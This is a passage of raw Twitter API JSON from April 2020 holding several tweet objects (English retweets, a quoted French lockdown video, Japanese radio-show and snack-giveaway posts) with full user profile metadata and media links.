rdinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":2309,\"favorite_count\":4939,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"pt\"},\"is_quote_status\":false,\"retweet_count\":2309,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"pt\"},{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206511431196678,\"id_str\":\"1254206511431196678\",\"text\":\"RT @DistinCray_: I\\u2019m crying he said yall gon see this WAIST \\ud83d\\ude2d\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"DistinCray_\",\"name\":\"AK\",\"id\":180398421,\"id_str\":\"180398421\",\"indices\":[3,15]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":303139504,\"id_str\":\"303139504\",\"name\":\"koshie\",\"screen_name\":\"bethellana_\",\"location\":\"london\",\"description\":\"\\ud83c\\uddec\\ud83c\\udded\\ud83d\\udc78\\ud83c\\udffe\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":208,\"friends_count\":93,\"listed_count\":0,\"created_at\":\"Sun May 22 10:59:13 +0000 2011\",\"favourites_count\":5392,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":19373,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FCEBB6\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme4\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme4\\\/bg.gif\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1215383177281310720\\\/uESNsmy0_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1215383177281310720\\\/uESNsmy0_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/303139504\\\/1578604905\",\"profile_link_color\":\"CE7834\",\"profile_sidebar_border_color\":\"F0A830\",\"profile_sidebar_fill_color\":\"78C0A8\",\"profile_text_color\":\"5E412F\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 21:07:31 +0000 2020\",\"id\":1254155098160279553,\"id_str\":\"1254155098160279553\",\"text\":\"I\\u2019m crying he said yall gon see this WAIST \\ud83d\\ude2d https:\\\/\\\/t.co\\\/4RAOYyntaH\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/4RAOYyntaH\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/gloriaolembo\\\/status\\\/1254136568417259521\",\"display_url\":\"twitter.com\\\/gloriaolembo\\\/s\\u2026\",\"indices\":[45,68]}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":180398421,\"id_str\":\"180398421\",\"name\":\"AK\",\"screen_name\":\"DistinCray_\",\"location\":\"\",\"description\":\"patterner | R2R\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":2850,\"friends_count\":459,\"listed_count\":53,\"created_at\":\"Thu Aug 19 14:56:56 +0000 2010\",\"favourites_count\":19893,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":217009,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"642D8B\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1254168218601652233\\\/dq4evs0i_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1254168218601652233\\\/dq4evs0i_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/180398421\\\/1579979760\",\"profile_link_color\":\"FF0000\",\"profile_sidebar_border_color\":\"65B0DA\",\"profile_sidebar_fill_color\":\"7AC3EE\",\"profile_text_color\":\"3D1957\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1254136568417259521,\"quoted_status_id_str\":\"1254136568417259521\",\"quoted_status\":{\"created_at\":\"Sat Apr 25 19:53:53 +0000 2020\",\"id\":1254136568417259521,\"id_str\":\"1254136568417259521\",\"text\":\"Il n\\u2019a pas comprit le concept \\ud83d\\ude05\\n#confinement https:\\\/\\\/t.co\\\/j0pvvaXqF2\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"confinement\",\"indices\":[32,44]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254136503258808321,\"id_str\":\"1254136503258808321\",\"indices\":[45,68],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254136503258808321\\\/pu\\\/img\\\/F6zOsn8Id0qYrRNO.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254136503258808321\\\/pu\\\/img\\\/F6zOsn8Id0qYrRNO.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/j0pvvaXqF2\",\"display_url\":\"pic.twitter.com\\\/j0pvvaXqF2\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/GloriaOlembo\\\/status\\\/1254136568417259521\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":540,\"h\":960,\"resize\":\"fit\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":540,\"h\":960,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254136503258808321,\"id_str\":\"1254136503258808321\",\"indices\":[45,68],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254136503258808321\\\/pu\\\/img\\\/F6zOsn8Id0qYrRNO.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254136503258808321\\\/pu\\\/img\\\/F6zOsn8Id0qYrRNO.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/j0pvvaXqF2\",\"display_url\":\"pic.twitter.com\\\/j0pvvaXqF2\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/GloriaOlembo\\\/status\\\/1254136568417259521\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":540,\"h\":960,\"resize\":\"fit\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":540,\"h\":960,\"resize\":\"fit\"}},\"video_info\":{\"aspect_ratio\":[9,16],\"duration_millis\":13078,\"variants\":[{\"bitrate\":632000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254136503258808321\\\/pu\\\/vid\\\/320x568\\\/AVnszQa6W9q7c04O.mp4?tag=10\"},{\"bitrate\":832000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254136503258808321\\\/pu\\\/vid\\\/360x640\\\/Xy2jSsmTHBHeOUUi.mp4?tag=10\"},{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254136503258808321\\\/pu\\\/pl\\\/OKaz96Nq0Hw-jSDL.m3u8?tag=10\"},{\"bitrate\":2176000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254136503258808321\\\/pu\\\/vid\\\/540x960\\\/2pgtZuZG3AfQD02w.mp4?tag=10\"}]},\"additional_media_info\":{\"monetizable\":false}}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1164591021008834563,\"id_str\":\"1164591021008834563\",\"name\":\"ITS MY BDAY\\ud83e\\udd73\",\"screen_name\":\"GloriaOlembo\",\"location\":\"Bruxelles, Belgique\",\"description\":\"1m66 de douceur insta: gloriaolembo\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":381,\"friends_count\":87,\"listed_count\":0,\"created_at\":\"Thu Aug 22 17:32:01 +0000 2019\",\"favourites_count\":611,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":588,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1251225268817137670\\\/E5x_QB1R_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1251225268817137670\\\/E5x_QB1R_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1164591021008834563\\\/1584457034\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":17716,\"favorite_count\":38440,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":true,\"lang\":\"fr\"},\"retweet_count\":8577,\"favorite_count\":30825,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":true,\"quoted_status_id\":1254136568417259521,\"quoted_status_id_str\":\"1254136568417259521\",\"retweet_count\":8577,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206511397531648,\"id_str\":\"1254206511397531648\",\"text\":\"RT @TomoccoryShow: #tmcckor\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"tmcckor\",\"indices\":[19,27]}],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TomoccoryShow\",\"name\":\"TomoccoryShow\",\"id\":1230575068989681664,\"id_str\":\"1230575068989681664\",\"indices\":[3,17]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":720932439892238337,\"id_str\":\"720932439892238337\",\"name\":\"\\u3080\\u304e\\u306e\\u3053\\u3080\\u304e\",\"screen_name\":\"hironet1215\",\"location\":\"\\u65e5\\u672c\",\"description\":\"\\u3080\\u304e\\u306e\\u306f\\u6c38\\u9060\\u306e\\u76f8\\u65b9\\u3002\\u30d3\\u30fc10\\u30ea\\u30b9\\u30ca\\u30fc\\u3053\\u3068\\u30c6\\u30f3\\u30c0\\u30fc\\u3002\\u97f3\\u697d\\u306f\\u52ff\\u8ad6\\u3001\\u6620\\u753b\\u3001\\u672c\\u3001\\u30a2\\u30cb\\u30e1\\u3001\\u5b50\\u3069\\u3082\\u305f\\u3061\\u3068\\u793e\\u4f1a\\u306e\\u3053\\u3068\\u306a\\u3069\\u3001\\u6c17\\u7d1b\\u308c\\u306b\\u545f\\u304d\\u307e\\u3059\\u3002\\u57fa\\u672c\\u306f\\u30ce\\u30ea\\u30c4\\u30c3\\u30b3\\u30df\\u62c5\\u5f53\\u3067\\u3059\\u3002\\u3088\\u308d\\u3057\\u304f\\u304a\\u9858\\u3044\\u3057\\u307e\\u3059\\u3002\\u3053\\u3080\\u304e\\u3068\\u304a\\u547c\\u3073\\u4e0b\\u3055\\u3044\\u3002\\u30df\\u30e5\\u30fc\\u30c8\\u3001\\u30ea\\u30e0\\u3001\\u30d6\\u30ed\\u306f\\u3054\\u81ea\\u7531\\u306b\\u9858\\u3044\\u307e\\u3059\\u3002\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":113,\"friends_count\":149,\"listed_count\":5,\"created_at\":\"Fri Apr 15 11:11:02 +0000 2016\",\"favourites_count\":20307,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":13310,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1247744690700476417\\\/_u3TUqxg_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1247744690700476417\\\/_u3TUqxg_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/720932439892238337\\\/1587232671\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sun Apr 26 00:25:57 +0000 2020\",\"id\":1254205036227203072,\"id_str\":\"1254205036227203072\",\"text\":\"#tmcckor https:\\\/\\\/t.co\\\/qc2mjHqTar\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"tmcckor\",\"indices\":[0,8]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/qc2mjHqTar\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/t_moco2\\\/status\\\/1254204582508429312\",\"display_url\":\"twitter.com\\\/t_moco2\\\/status\\u2026\",\"indices\":[9,32]}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1230575068989681664,\"id_str\":\"1230575068989681664\",\"name\":\"TomoccoryShow\",\"screen_name\":\"TomoccoryShow\",\"location\":\"\",\"description\":\"@t_moco2\\u304c\\u61d0\\u304b\\u3057\\u3044\\u3068\\u601d\\u3046\\u66f2\\u3060\\u3051\\u304b\\u3051\\u7d9a\\u3051\\u308b\\u300c\\u30c8\\u30e2\\u30c3\\u30b3\\u30ea\\u30fc\\u30fb\\u30b7\\u30e7\\u30fc\\u300d\\u3002\\u653e\\u9001\\u5c40\\u7d9a\\u3005\\u8ffd\\u52a0\\u4e2d\\u3002\\u653e\\u9001\\u30b9\\u30b1\\u30b8\\u30e5\\u30fc\\u30eb\\u306fhttps:\\\/\\\/t.co\\\/AgT1KK4Y2H \\u3067\\u30c1\\u30a7\\u30c3\\u30af\\u3002#tmcckor\",\"url\":null,\"entities\":{\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/AgT1KK4Y2H\",\"expanded_url\":\"http:\\\/\\\/radiomagazine.amebaownd.com\",\"display_url\":\"radiomagazine.amebaownd.com\",\"indices\":[55,78]}]}},\"protected\":false,\"followers_count\":252,\"friends_count\":543,\"listed_count\":1,\"created_at\":\"Thu Feb 20 19:29:10 +0000 2020\",\"favourites_count\":219,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":634,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1240274193385533440\\\/KyD_wuBz_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1240274193385533440\\\/KyD_wuBz_normal.png\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1230575068989681664\\\/1582364243\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1254204582508429312,\"quoted_status_id_str\":\"1254204582508429312\",\"quoted_status\":{\"created_at\":\"Sun Apr 26 00:24:09 +0000 2020\",\"id\":1254204582508429312,\"id_str\":\"1254204582508429312\",\"text\":\"\\u3053\\u306e\\u5f8c10\\u6642\\u304b\\u3089\\u301c\\uff01#tmcckor https:\\\/\\\/t.co\\\/J4G9Drx4eU\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"tmcckor\",\"indices\":[10,18]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/J4G9Drx4eU\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/mikeintokyo2004\\\/status\\\/1254204363582521347\",\"display_url\":\"twitter.com\\\/mikeintokyo200\\u2026\",\"indices\":[19,42]}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":29117715,\"id_str\":\"29117715\",\"name\":\"\\ud835\\ude9d\\ud835\\ude8a\\ud835\\ude90\\ud835\\ude9e\\ud835\\ude8c\\ud835\\ude91\\ud835\\ude92 \\ud835\\udd65\\ud835\\udd60\\ud835\\udd5e\\ud835\\udd60\\ud835\\udd5c\\ud835\\udd60\",\"screen_name\":\"t_moco2\",\"location\":\"\\u30d5\\u30a1\\u30f3\\u30bf\\u30b8\\u30fc\\u306e\\u753a\\u3001\\u5ddd\\u5d0e\",\"description\":\"\\u7530\\u53e3\\u667a\\u5b50\\u3002\\u5ddd\\u5d0e\\u5e02\\u6c11\\u3002\\u30e9\\u30b8\\u30aa\\u756a\\u7d44\\u5236\\u4f5c\\u3092\\u4e2d\\u5fc3\\u3068\\u3057\\u305f\\u81ea\\u55b6\\u696d\\u3002\\u597d\\u304d\\u306a\\u306e\\u306f\\u6cf3\\u3050\\u4e8b\\u3001\\u30c9\\u30e9\\u30a4\\u30d6\\u3001\\u5c0f\\u7b20\\u539f\\u9053\\u5927\\u3001\\u6d77\\u5916\\u30c9\\u30e9\\u30de\\u3001\\u30d1\\u30f3\\u3001\\u5bd2\\u5929\\u3001\\u300c\\u30ab\\u30c3\\u30b3\\u3044\\u3044\\u300d\\u7269\\u3002\\u300c\\u304b\\u308f\\u3044\\u3044\\u300d\\u4eba\\u3002tomoko\\u306e\\u8cea\\u554f\\u7bb1\\u2192 https:\\\/\\\/t.co\\\/cCAlxTN9Yi\",\"url\":\"https:\\\/\\\/t.co\\\/LkqhNiLYNt\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/LkqhNiLYNt\",\"expanded_url\":\"https:\\\/\\\/radiomagazine.amebaownd.com\\\/\",\"display_url\":\"radiomagazine.amebaownd.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/cCAlxTN9Yi\",\"expanded_url\":\"https:\\\/\\\/peing.net\\\/t_moco2\",\"display_url\":\"peing.net\\\/t_moco2\",\"indices\":[88,111]}]}},\"protected\":false,\"followers_count\":798,\"friends_count\":452,\"listed_count\":29,\"created_at\":\"Mon Apr 06 01:46:48 +0000 2009\",\"favourites_count\":4098,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":27121,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"E80743\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme3\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme3\\\/bg.gif\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/770680258982928384\\\/t9gkXR9j_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/770680258982928384\\\/t9gkXR9j_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/29117715\\\/1409324949\",\"profile_link_color\":\"B50164\",\"profile_sidebar_border_color\":\"B7195B\",\"profile_sidebar_fill_color\":\"AA0645\",\"profile_text_color\":\"F21365\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1254204363582521347,\"quoted_status_id_str\":\"1254204363582521347\",\"retweet_count\":3,\"favorite_count\":4,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"ja\"},\"retweet_count\":1,\"favorite_count\":1,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},\"is_quote_status\":true,\"quoted_status_id\":1254204582508429312,\"quoted_status_id_str\":\"1254204582508429312\",\"retweet_count\":1,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"und\"},{\"created_at\":\"Sun Apr 26 00:31:48 +0000 2020\",\"id\":1254206511355592704,\"id_str\":\"1254206511355592704\",\"text\":\"RT @kantanlife2019: \\ud83d\\udce2\\u304a\\u3046\\u3061\\u3067\\u98df\\u3079\\u308b\\u30ad\\u30e3\\u30f3\\u30da\\u30fc\\u30f3\\uff01\\uff01\\n #\\u81ea\\u7c9b\\n\\ud83d\\udc9c\\u5bb6\\u306b\\u3044\\u308b\\u6a5f\\u4f1a\\u304c\\u5897\\u3048\\u308b\\u3068 \\u30b9\\u30c8\\u30ec\\u30b9\\u6e9c\\u307e\\u3063\\u3066\\u7518\\u3044\\u3082\\u306e\\u6b32\\u3057\\u304f\\u306a\\u308a\\u307e\\u305b\\u3093\\uff1f\\n#\\u30b3\\u30ed\\u30ca\\u306b\\u8ca0\\u3051\\u308b\\u306a \\n\\ud83c\\udf69\\u62bd\\u9078\\u30673\\u540d\\u69d8\\u306b\\u30d7\\u30ec\\u30bc\\u30f3\\u30c8 \\u2b07\\ufe0f\\n\\u30d6\\u30eb\\u30dc\\u30f3 35\\u888b\\u5165\\n#\\u304a\\u304b\\u3057\\u3064\\u306a\\u304e \\u306b\\u53c2\\u52a0\\u3055\\u305b\\u3066\\u3044\\u305f\\u3060\\u304d\\u307e\\u3059\\uff01\\n\\u2728\\u5fdc\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"\\u81ea\\u7c9b\",\"indices\":[38,41]},{\"text\":\"\\u30b3\\u30ed\\u30ca\\u306b\\u8ca0\\u3051\\u308b\\u306a\",\"indices\":[77,86]},{\"text\":\"\\u304a\\u304b\\u3057\\u3064\\u306a\\u304e\",\"indices\":[115,122]}],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"kantanlife2019\",\"name\":\"Kantanlife\",\"id\":1163377400081612800,\"id_str\":\"1163377400081612800\",\"indices\":[3,18]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"ja\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":752359744111714304,\"id_str\":\"752359744111714304\",\"name\":\"\\u3072\\u308d\\u307d\\u307d\\u3061\\u301c\\u305f\\u3093\",\"screen_name\":\"jbfzfSGmzd2WTsL\",\"location\":\"\\u65e5\\u672c\\u3001\\u795e\\u5948\\u5ddd\\u770c\\u6a2a\\u6d5c\",\"description\":\"2017\\u5e741\\u6708\\u304b\\u3089\\u7bc0\\u7d04\\u3092\\u517c\\u306d\\u61f8\\u8cde\\u5fdc\\u52df\\u3092\\u59cb\\u3081\\u3066\\u307f\\u307e\\u3057\\u305f\\u2728\\u3068\\u3053\\u308d\\u304c\\u3001Twitter\\u61f8\\u8cde\\u2026\\u4e2d\\u3005\\u5f53\\u305f\\u3089\\u306a\\u3044\\u3067\\u3059\\u306d\\ud83d\\ude22\\u6804\\u990a\\u58eb\\u306e\\u52c9\\u5f37\\u3002\\u6bcd\\u306e\\u30ea\\u30cf\\u30d3\\u30ea\\u30fb\\u5728\\u5b85\\u4ecb\\u8b77\\u306b\\u65e5\\u3005\\u596e\\u95d8\\u3057\\u3066\\u307e\\u3059\\u3002\\u75db\\u307f\\u3092\\u62b1\\u3048\\u306a\\u304c\\u3089\\u3082\\u5171\\u306b\\u524d\\u5411\\u304d\\u306b\\u6b69\\u3093\\u3067\\u304f\\u308c\\u308b\\u6bcd\\u3068\\u4e00\\u7dd2\\u306b\\u3044\\u3064\\u307e\\u3067\\u904e\\u3054\\u305b\\u308b\\u304b\\u2026 \\u3002\\u611b\\u732bPua\\u541b\\u3001\\u611b\\u72acJAZZ\\u541b\\u306e\\u6210\\u9577\\u8a18\\u9332\\u3068\\u3057\\u3066\\u3082\\u5229\\u7528\\u3092\\u3055\\u305b\\u3066\\u9802\\u3044\\u3066\\u304a\\u308a\\u307e\\u3059\\u3002\",\"url\":\"https:\\\/\\\/t.co\\\/4DKgjYvApe\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/4DKgjYvApe\",\"expanded_url\":\"https:\\\/\\\/www.instagram.com\\\/ikumihiropopo\",\"display_url\":\"instagram.com\\\/ikumihiropopo\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":134,\"friends_count\":2103,\"listed_count\":1,\"created_at\":\"Mon Jul 11 04:31:55 +0000 